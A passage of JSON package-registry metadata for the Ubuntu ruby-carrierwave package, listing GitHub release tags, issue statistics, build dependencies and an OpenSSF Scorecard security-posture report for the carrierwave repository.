000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-07T04:18:20.596Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-carrierwave?arch=source\u0026distro=ubuntu-24.10\u0026repository_url=https://launchpad.net/ubuntu/oracular","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-carrierwave","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-carrierwave","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-carrierwave/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-06T21:18:14.645Z","issues_count":182,"pull_requests_count":125,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5115634.638095238,"issues_closed_count":142,"pull_requests_closed_count":105,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.648,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":23,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":3071969.3,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.7391304347826086,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-carrierwave/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-carrierwave/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-carrierwave/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-carrierwave/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-carrierwave/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/ruby-carrierwave/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.10","url":"https://launchpad.net/ubuntu/oracular","ecosystem":"ubuntu","default":false,"packages_count":38437,"maintainers_count":0,"namespaces_count":4,"keywords_count":1440,"github":"ubuntu","metadata":{"codename":"oracular","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":1127},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.028Z","updated_at":"2026-08-17T05:04:48.636Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/namespaces"}},{"id":13406451,"name":"ruby-carrierwave","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-06T14:58:21.654Z","latest_release_published_at":"2026-02-06T14:58:21.654Z","latest_release_number":"1.3.2-2","last_synced_at":"2026-03-06T15:57:45.741Z","created_at":"2026-02-06T14:58:21.362Z","updated_at":"2026-08-07T04:18:20.659Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-carrierwave","install_command":"apt-get install ruby-carrierwave","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-carrierwave","standards_version":"4.5.1","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"cucumber, debhelper-compat (= 13), gem2deb, rake, rails (\u003e= 4.0~), ruby-activemodel, ruby-activerecord (\u003e= 2:4.0~), ruby-activesupport (\u003e= 2:4.0~), ruby-generator-spec (\u003e= 0.9.1~), ruby-mime-types (\u003e= 1.16~), ruby-ssrf-filter, ruby-mini-magick (\u003e= 3.6.0~), ruby-pg, ruby-rmagick, ruby-timecop, ruby-webmock, ruby-rspec (\u003e= 3.4~), ruby-fog-aws, ruby-fog-google (\u003e= 1.7.1~), ruby-fog-local, ruby-fog-rackspace, pry","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":426955,"uuid":"47087","full_name":"carrierwaveuploader/carrierwave","owner":"carrierwaveuploader","description":"Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks","archived":false,"fork":false,"pushed_at":"2026-06-22T13:57:00.000Z","size":5102,"stargazers_count":8781,"open_issues_count":68,"forks_count":1649,"subscribers_count":128,"default_branch":"master","last_synced_at":"2026-08-04T04:05:10.902Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://github.com/carrierwaveuploader/carrierwave","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carrierwaveuploader.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-08-28T18:39:49.000Z","updated_at":"2026-07-28T18:06:49.000Z","dependencies_parsed_at":"2026-01-05T09:00:37.179Z","dependency_job_id":null,"html_url":"https://github.com/carrierwaveuploader/carrierwave","commit_stats":{"total_commits":2061,"total_committers":457,"mean_commits":"4.5098468271334795","dds":0.7472100921882581,"last_synced_commit":"f0620919d00dbd74d31e6b48f62346d6090e88f7"},"previous_names":["jnicklas/carrierwave"],"tags_count":88,"template":false,"template_full_name":null,"purl":"pkg:github/carrierwaveuploader/carrierwave","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/sbom","scorecard":{"id":266668,"data":{"date":"2025-08-11","repo":{"name":"github.com/carrierwaveuploader/carrierwave","commit":"a51a97071fec5cf4a0b693b8271dd4c59d6b80ab"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 6/21 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/test.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/carrierwaveuploader/carrierwave/test.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.gi